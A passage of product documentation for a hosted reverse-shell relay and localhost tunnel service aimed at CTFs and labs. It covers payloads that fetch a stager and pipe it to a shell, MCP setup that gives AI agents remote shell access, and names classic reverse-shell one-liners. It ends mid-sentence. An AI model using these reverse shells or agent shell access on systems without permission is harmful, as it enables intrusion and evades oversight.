systems. It is not for systems you do not own or have permission to test. See the [Terms of Service](https://revsheller.com/terms) and [Privacy Policy](https://revsheller.com/privacy), and use [Report abuse](https://revsheller.com/abuse) if you see misuse. #### What the shell command does The Auto payload is a single line you paste into a shell on the target. It is short on purpose so you can read it before you run it. - It sets three variables. `B` is this site's address, `P` is an optional path prefix, and `T` is a secret token that only that one session accepts. - It downloads a script. Using `curl`, `wget`, or plain bash, it fetches a small stager from `/b` on this site and pipes it to `sh`. On Windows it runs `iwr` against `/bw` and evaluates the result in PowerShell. The scripts are public files under `/assets/`, so you can read them first. - It connects out. The stager starts a Python WebSocket client if Python is present, and otherwise falls back to an HTTP relay built from curl, wget, or bash. Windows uses a PowerShell client with ConPTY. All of it is outbound HTTPS or WSS on port 443, and nothing listens on the target. - It hands a shell to the session. The target starts a bash or sh process under a pseudo-terminal and passes its input and output over that connection. #### What the relay sees The relay passes the shell's bytes between the target and your browser tab. It sees the session's traffic while it is in flight, because that is how it relays it. It does not write shell input or output to disk or to logs. It does store account and billing data for registered users, as described in the [Privacy Policy](https://revsheller.com/privacy). The token in the command identifies a single session, and anyone who holds it can attach as the target, so treat the command like a password until the session ends. #### How long a session lasts A session ends when you close it, when it has been idle too long, or after a maximum lifetime of five hours. Idle means no data in either direction. Without an account the idle limit is 5 minutes and you get one session at a time. During the beta, a registered account gets a 60-minute idle limit and up to 5 sessions at once. Once a session ends the token stops working and the output is gone. #### Limits to know about - Cloudflare does not accept inbound raw TCP, so a classic `nc` or `/dev/tcp` one-liner cannot connect directly. The payloads here speak HTTPS and WSS, and the bridge agent carries raw TCP from lab networks. - The target needs outbound HTTPS to this site. Isolated lab machines without internet access need the bridge. - For one throwaway shell on a box you can reach directly, a local `nc -lvnp` is simpler. The [netcat comparison](https://revsheller.com/guides/netcat-listener-alternative) goes through the trade-offs. #### More - [Guides](https://revsheller.com/guides/) for webhook testing, sharing a dev server, CTFs, lab VPNs, Windows, and NAT. - [API and MCP docs](https://revsheller.com/api-docs) for scripts and AI agents on your own lab targets. A machine-readable summary is at [/llms.txt](https://revsheller.com/llms.txt). - [Pricing](https://revsheller.com/pricing): everything is free during the beta. --- # Give Claude Shell Access to Lab Targets via MCP – RevSheller Source: https://revsheller.com/guides/ai-agent-shell-mcp [Guides](https://revsheller.com/guides/) ## Connect an AI agent to a shell with the RevSheller MCP server One session is free and works without an account. Create a listener and follow along. [Create a listener](https://revsheller.com/) Authorized use only. Point an agent only at CTFs, your own labs and systems you have explicit permission to test. You are responsible for what your agent does. #### What this gives you RevSheller runs a remote [Model Context Protocol](https://modelcontextprotocol.io) server. An MCP client such as Claude Code or Claude Desktop can use it to create a session and hand you the command to run on your target. Once the target connects, the agent sends commands and reads the output itself. You don't write any code or run a listener. MCP is free for every registered account during the beta and is planned as a Pro Plus feature after that. Plans aren't final yet, so check [pricing](https://revsheller.com/pricing) for the current state. #### Step 1: get an API key Sign in and generate a key on the [account page](https://revsheller.com/account). Keys start with `rsh_` and you only see them once. Generating a new key replaces the old one. Treat it like a password and keep it out of shared configs and repositories. #### Step 2: add the server The endpoint is `https://revsheller.com/mcp`. It speaks stateless Streamable HTTP with JSON responses and authenticates with a Bearer API key. Cookies won't work. Claude Code ``` claude mcp add --transport http revsheller https://revsheller.com/mcp \ --header "Authorization: Bearer rsh_your_api_key" ``` Claude Desktop reaches remote servers through the `mcp-remote` bridge. Add this to `claude_desktop_config.json`: ``` { "mcpServers": { "revsheller": { "command": "npx", "args": ["-y", "mcp-remote@0.16.7", "https://revsheller.com/mcp", "--header", "Authorization: Bearer ${RSH_KEY}"], "env": { "RSH_KEY": "rsh_your_api_key" } } } } ``` Restart the client and confirm the RevSheller tools appear. #### Step 3: the workflow - The agent calls `create_session` and receives a session id plus ready-to-run target commands for POSIX and Windows. - You run that command on a machine you're authorized to test. - The agent calls `session_status` until the target is connected. - The agent calls `run_command` for each step and `close_session` when done. The full set of tools is `create_session`, `get_target_command`, `session_status`, `send_input`, `read_output`, `run_command`, `list_sessions` and `close_session`. Input and output details are in the [API docs](https://revsheller.com/api-docs#mcp). #### A sensible first run Use a throwaway VM or a CTF box you already own, nothing you care about. Ask the agent for something narrow, such as "create a RevSheller session, give me the Linux command, and once I've run it, report the kernel version and current user". That one request goes through `create_session`, your paste, `session_status` and `run_command`, so you see the whole loop work. After that you can give it longer tasks. The agent can do anything the shell's user can do, so spell out its scope in plain words and keep an eye on the commands it runs. The authorization is yours, and so is the responsibility. #### Watching the agent work The agent never receives the operator secret. You can open the same session in your browser while it works, and both of you can type. If it heads somewhere you don't want, close the session from the web interface or tell it to stop. #### Limits to know about During the beta a registered account can have up to 5 sessions open at once (3 of them forward shells). Only sessions your own account created are reachable over MCP. Run one `run_command` at a time per session, because parallel calls interleave their output. The output buffer holds 256 KiB. A session that hibernated reports a reset, so re-read its state after a pause. Reading output doesn't keep an idle session alive, but sending input does. Every session ends at the 5 hour lifetime cap regardless. Requests are rate limited, so back off when you get HTTP 429. The target still has to reach RevSheller over HTTPS. For isolated lab networks, see the [THM and HTB guide](https://revsheller.com/guides/tryhackme-hackthebox-listener). #### FAQ Is MCP access free? It's free for every registered account during the beta. After that it's planned as a Pro Plus feature. Does the agent get my operator secret? No. The MCP server never returns the operator secret, and you can watch the same session in your browser while the agent works. Which clients work? Any MCP client that supports Streamable HTTP with a custom Authorization header. Claude Code connects directly, and Claude Desktop goes through the mcp-remote bridge. Who is responsible for what the agent does? You are, as the account holder. Only point an agent at systems you own or have explicit permission to test. The [Terms of Service](https://revsheller.com/terms) have the full rules, and you can [report abuse](https://revsheller.com/abuse) if you see misuse. Ready to try it? One click creates a listener, then you paste one command on a machine you're authorized to test. [Create a listener](https://revsheller.com/) --- # Expose Localhost to the Internet: Share a Dev Server – RevSheller Source: https://revsheller.com/guides/expose-localhost-share-dev-server [Guides](https://revsheller.com/guides/) ## Expose localhost to the internet and share a dev server Free during the beta with a registered account and an API key. [Get a tunnel URL](https://revsheller.com/register?next=/tunnels) Your app runs on `localhost:5173` and someone else needs to see it, maybe a teammate reviewing a branch or a client approving a design. Port forwarding often isn't possible on home and carrier networks, and deploying a preview for every change is slow. A tunnel gives the local server a public https URL for as long as you keep the client running. #### 1. Start your dev server Run it the way you normally do, for example `npm run dev`. Note the port it prints. Vite uses 5173, Next.js and many Node servers use 3000, and Django uses 8000. #### 2. Open a tunnel to that port Create an API key on your [account page](https://revsheller.com/account), then run this. Nothing needs to be installed first, since the command fetches a small native client for your OS and checks it against a pinned SHA-256. ``` (curl -fsSL https://revsheller.com/tn.sh || wget -qO- https://revsheller.com/tn.sh) | RSH_API_KEY=rsh_YOUR_KEY sh -s -- http 5173 ``` On Windows PowerShell: ``` $env:RSH_API_KEY="rsh_YOUR_KEY"; & ([scriptblock]::Create((irm https://revsheller.com/tn.ps1))) http 5173 ``` To skip the key next time, leave `RSH_API_KEY` unset and add `--save`. The client asks for the key on the terminal with input hidden, and stores it in `~/.config/revsheller/config.json`. #### 3. Share the URL The client prints a URL like `https://tn-k3v9q2m7xa.revshell.org` and a log line for each request. Send it to whoever needs it. The first time a browser opens it, they see a short warning page that names the host. After they click Continue, that browser remembers it for 7 days. #### Dev servers and the Host header Vite, webpack-dev-server and other dev servers reject requests whose `Host` header they don't recognize. The client handles this by default. It sends `Host: localhost:` to your server, so nothing needs configuring. The public hostname arrives in `X-Forwarded-Host`, with `X-Forwarded-Proto: https` and the visitor's IP in `X-Forwarded-For`. If your app builds absolute URLs or redirects from the Host header, run with `--host-header preserve` so it sees the public hostname. Then add that hostname to your dev server's allowed hosts (in Vite, `server.allowedHosts`). #### Hot reload and WebSockets WebSocket upgrades are forwarded, so live reload and socket-based features can work through the tunnel. If the page loads but hot reload doesn't connect, your dev server's HMR client is probably pointed at `localhost`. Check its HMR host and port settings. During the beta, each tunnel allows 20 open visitor WebSockets, with messages up to 1 MiB. #### Testing on a phone Open the tunnel URL on the phone, over Wi-Fi or mobile data. Because the URL is https, features that need a secure context, such as service workers, behave as they will in production. Plain `http://192.168.x.x:5173` on your LAN doesn't give you that. #### Not on 127.0.0.1? The client forwards to `127.0.0.1` by default. If your server listens somewhere else, such as only on IPv6 or on another machine on your LAN, pass `--host`, for example `--host localhost` or `--host 192.168.1.20`. #### Who can see it Anyone with the URL can open the tunnel. The random name is hard to guess, but it isn't access control, so put anything private behind your app's own login. Search engines are asked to skip tunnels, because tunnel hosts answer `/robots.txt` with `Disallow: /` and send `X-Robots-Tag: noindex`. Each tunnel has its own hostname, and cookies your server sets with a Domain attribute are made host-only. But `revshell.org` isn't yet on the Public Suffix List, so JavaScript on another tunnel can set a `Domain=revshell.org` cookie that your app receives. Don't rely on cookie isolation between tunnels yet. #### Stopping Press Ctrl-C. The client deletes the tunnel and the URL stops serving immediately. Random URLs are never reused, so an old link can't later point at someone else's app. #### Limits during the beta You can run 2 tunnels at a time, with 10 GiB of traffic a month. Each tunnel lasts up to 8 hours, takes 600 requests a minute and 100 concurrent requests, and accepts request bodies up to 25 MB. When a tunnel reaches 8 hours, the client opens a new one with a new URL. The planned limits for each plan are on the [pricing page](https://revsheller.com/pricing#tunnel-limits). #### FAQ Who can open my tunnel? Anyone who has the URL. The random name is hard to guess, but it isn't access control, so protect anything private with your app's own login. Why does my dev server reject the request? By default the client sends `Host: localhost:`, which dev servers accept. If you switched to `--host-header preserve`, add the tunnel hostname to your dev server's allowed hosts. Does hot reload work? WebSocket upgrades are forwarded, so live reload can work through the tunnel. If it doesn't, check your dev server's HMR host and port settings. What do visitors see first? A short warning page naming the tunnel host. After they continue, the browser remembers it for that tunnel for 7 days. See also [testing Stripe webhooks locally](https://revsheller.com/guides/test-stripe-webhooks-locally), [tunnel basics and limits](https://revsheller.com/guides/localhost-public-url) and the [tunnel docs](https://revsheller.com/api-docs#tunnels). [Get a tunnel URL](https://revsheller.com/register?next=/tunnels) --- # Catch a Callback Behind NAT, CGNAT or Campus Wi-Fi – RevSheller Source: https://revsheller.com/guides/listener-behind-nat-cgnat [Guides](https://revsheller.com/guides/) ## Catch a callback behind NAT, CGNAT or campus Wi-Fi One session is free and works without an account. Create a listener and follow along. [Create a listener](https://revsheller.com/) Authorized use only. Use RevSheller only on CTFs, your own labs, training platforms and engagements where you have permission. #### Why port forwarding fails A classic listener such as `nc -lvnp 4444` only works if the target can open a connection to your machine, which means your machine needs an address the outside world can reach. On most home and student networks it doesn't have one. Ordinary NAT is the mild case. Your router shares one public address between every device and drops inbound connections that don't match something you started, unless you add a forwarding rule. If you own the router that's doable, but the listener only works on that one network and you've opened a port on your own machine. CGNAT is worse. Many ISPs, mobile carriers especially and some fibre providers, put their own NAT in front of your router. The address on your router's WAN side isn't public, so a forwarding rule on your router does nothing, and there's no fix from your end. Managed networks are worse again. University halls, campus Wi-Fi, coworking spaces and hotels usually block inbound traffic completely and often only let outbound traffic out on a handful of ports. You don't control the gateway, and client isolation can stop two machines on the same Wi-Fi from reaching each other. To check for CGNAT, compare the WAN address on your router's status page with what a “what is my IP” site reports. If they differ, or the router's address falls in `100.64.0.0/10` or a private range, you're behind carrier NAT. #### Make both ends connect out NAT only blocks connections that start from outside. Outbound connections are fine, which is why web browsing works on every one of these networks. RevSheller relies on that. The listener lives on Cloudflare's edge at your session's own subdomain, and both sides connect out to it. - The target runs a generated payload and connects to the hosted endpoint over HTTPS or WSS on port 443. - Your browser opens the operator terminal for the same session, also over WSS on 443. The session relays between the two. Neither end needs a public address, a forwarding rule or dynamic DNS, so it makes no difference whether you're behind CGNAT or a campus gateway. #### Steps - Open [revsheller.com](https://revsheller.com/) and create a session. One session works without an account, and registering is free during the beta. - Copy the Auto payload (or the Windows one) from the generator. It carries a target token for that session and won't work for any other. - Run it on the machine you're authorized to test, such as a CTF box, a VM in your lab or a host in your scope. - The terminal in your browser attaches when the target connects. Delete the session when you're done. Idle sessions time out anyway. The traffic is HTTPS and WSS on 443, so it usually gets through egress filters that block unusual outbound ports. Those filters are the usual reason a callback to port 4444 never arrives from a locked-down network. #### When the target cannot reach the internet The hosted endpoint only helps if the target can reach it, and a box on a VPN-only lab network often can't. In that case, run the bridge agent on a machine that's on both the lab VPN and the internet. The target connects to the bridge over plain TCP and the bridge carries the connection to RevSheller over WSS. The [THM and HTB guide](https://revsheller.com/guides/tryhackme-hackthebox-listener) goes through it in detail. #### Limits Cloudflare doesn't accept inbound raw TCP, so a bare `nc` or `/dev/tcp` one-liner can't connect to a session. Use the generated payloads or the bridge. And if the network blocks outbound HTTPS to `revsheller.com` and its subdomains altogether, the target can't reach the listener and this approach won't help. Your campus or employer may not allow these tools on their network at all. Read the acceptable use policy and stay inside it. RevSheller is only for systems you're permitted to test. #### FAQ Do I need to forward any port to use RevSheller? No. The target connects out to the hosted endpoint over HTTPS or WSS on port 443 and you attach from your browser, so nothing on your network has to accept an inbound connection. How do I know if I am behind CGNAT? Compare the WAN address on your router's status page with the public address websites see for you. If they differ, or the router's address is in 100.64.0.0/10 or a private range, your ISP is translating your connection and port forwarding won't work. Does this work if my target is on a VPN-only lab network? Only if the target can reach the internet. If it can't, run the bridge agent on your VPN-connected machine and let it relay the connection to RevSheller. Can I use it on any network or machine? Only on systems you own or have explicit permission to test, and only on networks where you're allowed to run this kind of tool. Check your campus or employer policy first. The [Terms of Service](https://revsheller.com/terms) have the full rules. Ready to try it? One click creates a listener, then you paste one command on a machine you're authorized to test. [Create a listener](https://revsheller.com/) --- # Give Localhost a Public https URL – RevSheller Source: https://revsheller.com/guides/localhost-public-url [Guides](https://revsheller.com/guides/) ## Give localhost a public https URL Free during the beta with a registered account. Create an API key and run one command. [Get a tunnel URL](https://revsheller.com/register?next=/tunnels) A RevSheller tunnel gives a port on your machine a public https URL. A client on your machine opens an outbound connection, and requests to the URL are forwarded down it to a port on localhost. It has gaps, and they're listed below along with the limits. #### The one-command version With a web server running on port 3000 and an API key from your [account page](https://revsheller.com/account): ``` (curl -fsSL https://revsheller.com/tn.sh || wget -qO- https://revsheller.com/tn.sh) | RSH_API_KEY=rsh_YOUR_KEY sh -s -- http 3000 ``` On Windows PowerShell: ``` $env:RSH_API_KEY="rsh_YOUR_KEY"; & ([scriptblock]::Create((irm https://revsheller.com/tn.ps1))) http 3000 ``` The client prints a URL like `https://tn-k3v9q2m7xa.revshell.org` and then one log line per request. Ctrl-C closes the tunnel and deletes it. Random URLs are never reused. If you'd rather not pipe a script into a shell, download it and read it first with `curl -fsSL https://revsheller.com/tn.sh -o tn.sh`. It's about fifty lines that download the client binary for your OS, check its SHA-256 and run it. The binaries are also linked directly from the [API docs](https://revsheller.com/api-docs#tunnels-quickstart). If you have Node.js 22 or newer, the JavaScript build works too (`curl -fsSL https://revsheller.com/tn | node - http 3000`). #### What works Your local server can stay on plain http, because TLS is handled at the edge and the public URL is https. WebSockets are forwarded, so live reload and socket-based apps can work through the tunnel. If your network drops, the client reconnects to the same tunnel with backoff. Browsers see a short warning page before the app loads, while webhooks and API clients skip it. #### What is specific to RevSheller There's no agent to install. The one-liner fetches a small native client for your OS, checks it against a pinned SHA-256 and caches it, so you don't need a package manager or a runtime. The client has no sign-up step either. Tunnels live on `revshell.org`, a separate domain from `revsheller.com` where your account lives. That way the app's cookies and API keys never share a site with tunneled apps. The client refuses an API key passed as a command-line argument, so the key stays out of argv. It reads `RSH_API_KEY` or a saved config (`--save`), and otherwise prompts on the terminal with input hidden. Agents can create tunnels too. The [MCP server](https://revsheller.com/api-docs#mcp) has `tunnel_create`, `tunnel_list` and `tunnel_delete`, so an agent can set up a tunnel and hand you the command to run without ever seeing your key. Your account also comes with a browser-based [reverse shell relay](https://revsheller.com/#shells) for CTFs and labs. You can ignore it if you only need tunnels. #### What a tunnel does not cover If you need TCP or TLS tunnels, this isn't the tool. RevSheller forwards HTTP and WebSockets only. If you need your own domain or a URL that never changes, you'll be waiting. During the beta, tunnels get a random `tn-` name and last up to 8 hours. Reserved names are planned for paid plans after the beta, and bringing your own domain isn't supported. If you rely on a local request inspector or replay, you'll miss it. The client logs one line per request (or JSON lines with `--log json`) and has no inspection UI. Tunnels are also in beta and meant for development, testing and demos, so they aren't for serving production traffic. #### Limits during the beta Every registered account gets the same tunnel limits during the beta: Tunnels open at once | 2 | Traffic per month | 10 GiB (requests, responses and WebSocket messages) | Tunnel lifetime | Up to 8 hours, then the client opens a new tunnel with a new URL | Requests per minute, per tunnel | 600 | Request body size | 25 MB | Concurrent requests, per tunnel | 100 | Open visitor WebSockets, per tunnel | 20 | The planned limits for each plan after the beta are on the [pricing page](https://revsheller.com/pricing#tunnel-limits). #### Security notes - Only registered accounts can open tunnels, and each tunnel is tied to its owner. Reported tunnels can be suspended (see [Report abuse](https://revsheller.com/abuse)). - Tunnel hosts answer `/robots.txt` with `Disallow: /` and send `X-Robots-Tag: noindex`, so search engines don't index your dev server. - Your app receives the visitor's IP in `X-Forwarded-For`. - Cookie isolation between tunnels isn't complete yet. `revshell.org` isn't on the Public Suffix List, so JavaScript on one tunnel can set a cookie for `Domain=revshell.org` that other tunnels' apps then receive. Cookies your server sets with a Domain attribute are made host-only, but don't rely on isolation between tunnels for anything sensitive. #### FAQ Do I need to install anything? No. The one-line command fetches a small native client for macOS, Linux or Windows, checks it against a pinned SHA-256 and caches it. No runtime or package manager is needed. Does it support TCP tunnels? No. RevSheller tunnels forward HTTP and WebSocket traffic only. If you need raw TCP or TLS passthrough, use a tool that supports it. Can I keep the same URL? Not during the beta. A tunnel keeps its URL while it's open, up to 8 hours. Reserved names are planned for paid plans after the beta. Is it free? Yes, during the beta, for registered accounts. Paid plans are planned for after the beta and aren't final. See [pricing](https://revsheller.com/pricing). Next, [test Stripe webhooks locally](https://revsheller.com/guides/test-stripe-webhooks-locally) or [share a dev server](https://revsheller.com/guides/expose-localhost-share-dev-server). [Get a tunnel URL](https://revsheller.com/register?next=/tunnels) --- # RevSheller vs nc -lvnp: A Netcat Listener Alternative Source: https://revsheller.com/guides/netcat-listener-alternative [Guides](https://revsheller.com/guides/) ## RevSheller vs `nc -lvnp`: a netcat listener alternative One session is free and works without an account. Create a listener and follow along. [Create a listener](https://revsheller.com/) Authorized use only. Use RevSheller only on CTFs, your own labs, training platforms and engagements where you have permission. #### What netcat does well There's a reason `nc -lvnp 4444` is everyone's default. It's installed nearly everywhere, it needs no account, and your traffic never leaves your own machine. If the target can reach you directly (a VM on a host-only network, a box on the same LAN, a lab VPN where the target calls back to your tun address), use netcat and stop reading. The same goes for `ncat`, `socat` and `pwncat`-style listeners. If one of them already works, a hosted service adds nothing. #### Where a local listener gets in the way Reachability is the usual problem. The target has to open a connection to your listener, and from behind NAT, CGNAT or a campus network it often can't (see [catching a callback behind NAT](https://revsheller.com/guides/listener-behind-nat-cgnat)). A VPS fixes that, but you pay for it and you now have an exposed host to look after. Egress filtering is the next one. Some networks only let outbound HTTPS through, so a callback to port 4444 never shows up while traffic on 443 gets out fine. Then there's the terminal itself. A raw netcat connection is a byte stream, so arrow keys, tab completion and Ctrl+C misbehave and full-screen programs break until you upgrade the shell by hand. If the window holding `nc` closes, the shell goes with it. #### How RevSheller differs RevSheller is a hosted relay on Cloudflare's edge. The target runs a generated payload that connects out over HTTPS or WSS on port 443, to a subdomain and token made for that one session, and you work in a terminal in your browser. Nothing listens on your own machine. ##### Browser terminal The operator side is an xterm.js terminal. When you resize the window the new size goes to the target, so full-screen programs lay out properly. Any machine with a browser will do, including ones where you can't install anything. ##### PTY and ConPTY upgrades With netcat you usually spawn a PTY on the target by hand and then fix your local terminal settings. The hosted clients do that part for you. On Unix targets the Python client starts the shell in a POSIX PTY. The PowerShell client uses Windows ConPTY (the pseudoconsole API) and falls back to plain pipes on Windows builds older than 1809. Either way you land in an interactive terminal rather than a line buffer. There's more on the ConPTY client in the [Windows PowerShell guide](https://revsheller.com/guides/windows-reverse-shell-listener-powershell). ##### Session persistence The session lives in a Durable Object on the relay, so closing the tab or letting your laptop sleep doesn't drop the target. Open the session page again and carry on. While nobody is attached, target output is buffered up to 1 MB. There are limits. Sessions close after an idle period (five minutes on the free tier) and have a maximum lifetime, so don't treat a session as a long-term implant or something to leave running. #### Which one to use If the target can reach you directly, use local `nc`. If you're behind NAT or CGNAT, or the target can only get out over HTTPS, use RevSheller. If you want a terminal that already has a PTY and follows your window size, RevSheller gives you that straight away, though an upgraded netcat session gets you most of the way there. If you don't want a third party in the path at all, stick with `nc`, `socat` or your own server. And if the target can only make raw TCP connections, use local `nc`, or run the bridge agent on your machine and let it forward to RevSheller. #### The one-liner caveat Cloudflare doesn't accept inbound raw TCP, so you can't aim `nc host port -e /bin/sh` or a `/dev/tcp` one-liner at a session. Use the Auto payload instead. If you really need plain TCP, the bridge agent accepts it locally and forwards it over WSS. #### Privacy Shell I/O is relayed live and isn't written to disk or logged. If your traffic must never touch a third party, use a local listener. #### FAQ Can I point `nc` at a RevSheller session? Not directly. Cloudflare doesn't accept inbound raw TCP, so nc and /dev/tcp one-liners can't reach it. Use the generated payloads, which talk HTTPS or WSS on port 443, or run the bridge agent on your own machine. Is RevSheller a replacement for netcat? No. It helps when a local listener is awkward, say behind NAT or on a locked-down network. If the target can reach your machine directly, local nc is simpler. What happens if I close my browser tab? The session stays open on the relay and you can reattach. Target output is buffered while you're away (up to 1 MB), though idle sessions still close. Can I use it on any machine? Only on systems you own or have explicit permission to test, such as CTF boxes, your own labs and authorized engagements. The [Terms of Service](https://revsheller.com/terms) have the full rules. Ready to try it? One click creates a listener, then you paste one command on a machine you're authorized to test. [Create a listener](https://revsheller.com/) --- # Catch a Reverse Shell Without a VPS or Port Forwarding – RevSheller Source: https://revsheller.com/guides/reverse-shell-listener-without-vps [Guides](https://revsheller.com/guides/) ## Catch a reverse shell without a VPS or port forwarding One session is free and works without an account. Create a listener and follow along. [Create a listener](https://revsheller.com/) Authorized use only. Use RevSheller only on CTFs, your own labs, training platforms and engagements where you have permission. #### Why the listener is the hard part A reverse shell needs a listener the target can reach, and in a lab that's more annoying than it should be. At home you're behind NAT, so you'd have to forward a port on a router you might not control. If your ISP uses carrier-grade NAT, you can't forward one at all. On a laptop at a conference, in a coffee shop or on a university network, the router isn't yours to touch. The usual workarounds all cost something. A VPS works, but you pay for it, patch it, lock it down and have to remember to destroy it, and a netcat listener on a public IP is open to anyone scanning. A TCP tunnel service gets you a public address, though free tiers tend to rotate addresses, cap connections and need a client left running. Forwarding a port on your router ties you to that network and exposes your own machine. RevSheller is a hosted listener on Cloudflare's edge. The target connects out to it over HTTPS or WSS on port 443 and you work in a terminal in your browser, so there's nothing for you to host or forward. #### Step 1: create a session Open [revsheller.com](https://revsheller.com/) and create a listener. One session works without signing up, and a free account unlocks everything during the beta. Each session gets its own subdomain and target token, so a payload only works for the session it was made for. #### Step 2: pick a payload The payload is the command you run on the machine you're authorized to test. Start with Auto. It tries a Python WebSocket client first, then a curl or wget HTTP relay, then bash. Windows targets get a PowerShell stager instead. If you know which runtime the target has, the generator also has WebSocket and HTTP relay versions for Python, PowerShell, PHP, Node.js, Ruby, Perl, C#, Java and Go. There are encodings such as Base64 for when quoting gets awkward. Everything goes over HTTPS or WSS on 443, which usually gets past egress rules that block unusual outbound ports. #### Step 3: run it and connect - Copy the payload from the generator. - Run it on your target, whether that's a CTF box, a VM in your home lab or a system in your scope document. - The terminal in your browser attaches when the target connects. It's a proper terminal, so resizing and interactive programs work. - Delete the session from the interface when you're done. Idle sessions time out on their own too. #### Reverse versus forward Most of the time you want a reverse session like the one above. If the target already has a bind shell listening on a public host and port, a forward session makes RevSheller dial out to it and relay it to your browser. Forward shells only reach public internet addresses. Private ranges, localhost and port 25 are blocked. For targets on a VPN-only lab network, see the [THM and HTB guide](https://revsheller.com/guides/tryhackme-hackthebox-listener). #### What won't work Cloudflare doesn't accept inbound raw TCP, so a classic `nc` or `bash -i >& /dev/tcp/...` one-liner can't connect to a session. Use the generated payloads. If the target can only make raw TCP connections, run the bridge agent on your own machine and it will carry them. #### Privacy Shell I/O is relayed live to your browser and isn't written to disk or logged. Tokens go in headers, never in URLs, so they don't end up in server logs. #### FAQ Do I need an account to try it? No. You can run one session without signing up. A free account gets you everything in the beta. Why doesn't nc connect to my RevSheller session? Cloudflare doesn't accept inbound raw TCP, so classic nc and /dev/tcp one-liners can't reach it. Use the Auto or language-specific payloads, which talk HTTPS or WSS on port 443, or the bridge agent. Is shell traffic stored? No. Shell I/O is relayed live and isn't written anywhere. Can I use it on any machine? Only on systems you own or have explicit permission to test, such as CTF boxes, your own labs and authorized engagements. The [Terms of Service](https://revsheller.com/terms) have the full rules. Ready to try it? One click creates a listener, then you paste one command on a machine you're authorized to test. [Create a listener](https://revsheller.com/) --- # Test a Local Site on Your Phone Over HTTPS – RevSheller Source: https://revsheller.com/guides/test-local-site-on-phone [Guides](https://revsheller.com/guides/) ## Test a local site on your phone over HTTPS Free during the beta with a registered account and an API key. [Get a tunnel URL](https://revsheller.com/register?next=/tunnels) Device mode in devtools gets the screen size right and not much else. It won't show you how mobile Safari treats your sticky header, or what the camera permission prompt looks like on an actual phone. For that you need the site open on a real device. The quickest way to get it there is a tunnel. You run one command next to your dev server, it gives you a public https URL, and you open that URL on the phone. #### 1. Start the dev server and the tunnel Start your app the way you normally would. The examples here assume port 3000. You'll need an API key, which you can create on your [account page](https://revsheller.com/account). Then run this in a second terminal. ``` (curl -fsSL https://revsheller.com/tn.sh || wget -qO- https://revsheller.com/tn.sh) | RSH_API_KEY=rsh_YOUR_KEY sh -s -- http 3000 ``` On Windows PowerShell it's this instead. ``` $env:RSH_API_KEY="rsh_YOUR_KEY"; & ([scriptblock]::Create((irm https://revsheller.com/tn.ps1))) http 3000 ``` There's a cmd version too, at `https://revsheller.com/tn.cmd`. The script downloads a small native client for your OS and checks it against a pinned SHA-256 before running it, so there's nothing to install beforehand. Once it connects, it prints a URL like `https://tn-k3v9q2m7xa.revshell.org`. #### 2. Open it on the phone Getting the URL onto the phone is the fiddly part. Messaging it to yourself works, and so does pasting it into a QR code generator and scanning that. The phone doesn't need to be on the same Wi-Fi as your laptop. Mobile data is fine, since the URL is public. The first page load in each browser shows a short warning page with the tunnel's hostname on it. Tap Continue and that browser won't see it again for this tunnel for 7 days. API calls and webhooks never get the warning page, only page loads in a browser. #### What to check on a real device Most of what goes wrong on phones is layout and input. Hover-only menus can't be opened, small tap targets get missed, and the on-screen keyboard can cover the very input you just focused. Viewport units like `100vh` misbehave too, because the browser toolbar shrinks and grows as you scroll. Then there's the engine. Every browser on an iPhone runs on WebKit, Chrome included, so if you only ever develop in desktop Chrome you haven't seen your site the way iPhone users do. Check Chrome on Android as well. It's also worth loading the page over mobile data on an ordinary phone. A heavy bundle or oversized images that you'd never notice on a laptop with fast internet are hard to miss there. #### Features that need HTTPS Some browser APIs only work in a secure context, and a phone won't treat `http://192.168.x.x` as one. The tunnel URL is https, so you can test service workers (and whether the app installs as a PWA), geolocation, camera and microphone access through `getUserMedia`, and `navigator.clipboard`. Cookies marked `Secure` and `SameSite` rules also behave the way they will in production. Your dev server can keep serving plain http. The https part is handled on our side, before requests reach your machine. #### Why not just use your laptop's IP? The usual alternative is to type your laptop's local address into the phone. Even when that works, you're on plain http, so none of the APIs above are available. And often it doesn't work at all. Vite and webpack-dev-server only listen on localhost by default, so you'd have to add `--host` or `host: "0.0.0.0"`. Your firewall may block the port. Guest, office and campus Wi-Fi usually keep devices from reaching each other. A tunnel doesn't run into any of this, because the client opens an outbound connection from your machine and requests come back over it. It connects to `127.0.0.1` and sends `Host: localhost:`, so you don't need `--host` either. #### Sharing with a colleague Anyone you send the URL to sees your local build, live. That's handy when a designer or teammate wants a quick look. It also means anyone who gets hold of the link can open it. The random name isn't access control, so keep anything private behind your app's own login. Tunnel hosts send `noindex`, which asks search engines to leave them out. #### Troubleshooting - If the page loads but hot reload never connects, the HMR client is probably still pointed at `localhost`. WebSocket upgrades go through the tunnel, so check your dev server's HMR host and port settings. - If links or redirects point at localhost, your app is probably building URLs from the Host header. Run the client with `--host-header preserve` and add the tunnel hostname to your dev server's allowed hosts. The public hostname is also sent in `X-Forwarded-Host`. - If your server isn't listening on 127.0.0.1, pass `--host` to the client, for example `--host localhost`. When you're finished, press Ctrl-C. The client deletes the tunnel and the URL stops working straight away. #### Limits during the beta You can run 2 tunnels at a time, with 10 GiB of traffic a month between them. Each tunnel lasts up to 8 hours and takes up to 600 requests a minute, 100 of them at once, with request bodies up to 25 MB. The planned limits for each plan are on the [pricing page](https://revsheller.com/pricing#tunnel-limits). #### FAQ Why won't my phone load my laptop's local IP? Usually the dev server only listens on localhost, the firewall is blocking the port, or the Wi-Fi keeps devices apart. The tunnel doesn't depend on any of that, because the connection goes out from your laptop. Do I need to run Vite or webpack with `--host`? No. The tunnel client connects to 127.0.0.1 and sends `Host: localhost:`, so a server that only listens on localhost works. Will the phone show a warning page? The first time each browser opens the tunnel, yes. After you tap Continue it won't appear again in that browser for 7 days. Does the phone need to be on the same Wi-Fi? No, mobile data works too. The URL is public. See also [sharing a dev server](https://revsheller.com/guides/expose-localhost-share-dev-server), [tunnel basics and limits](https://revsheller.com/guides/localhost-public-url), and the [tunnel docs](https://revsheller.com/api-docs#tunnels). [Get a tunnel URL](https://revsheller.com/register?next=/tunnels) --- # Test Stripe Webhooks Locally with a Public URL – RevSheller Source: https://revsheller.com/guides/test-stripe-webhooks-locally [Guides](https://revsheller.com/guides/) ## Test Stripe webhooks locally You need a registered account and an API key. Both are free during the beta. [Get a tunnel URL](https://revsheller.com/register?next=/tunnels) Stripe delivers webhooks to a public https URL, and your handler is running on `localhost`. A tunnel closes that gap. Stripe posts to a URL on `revshell.org`, and the request arrives at your local server with its headers and body intact. These steps use Stripe test mode and a Node.js handler on port 4242, but any language and port work. #### 1. Run your handler Signature checks need the raw request body, so don't 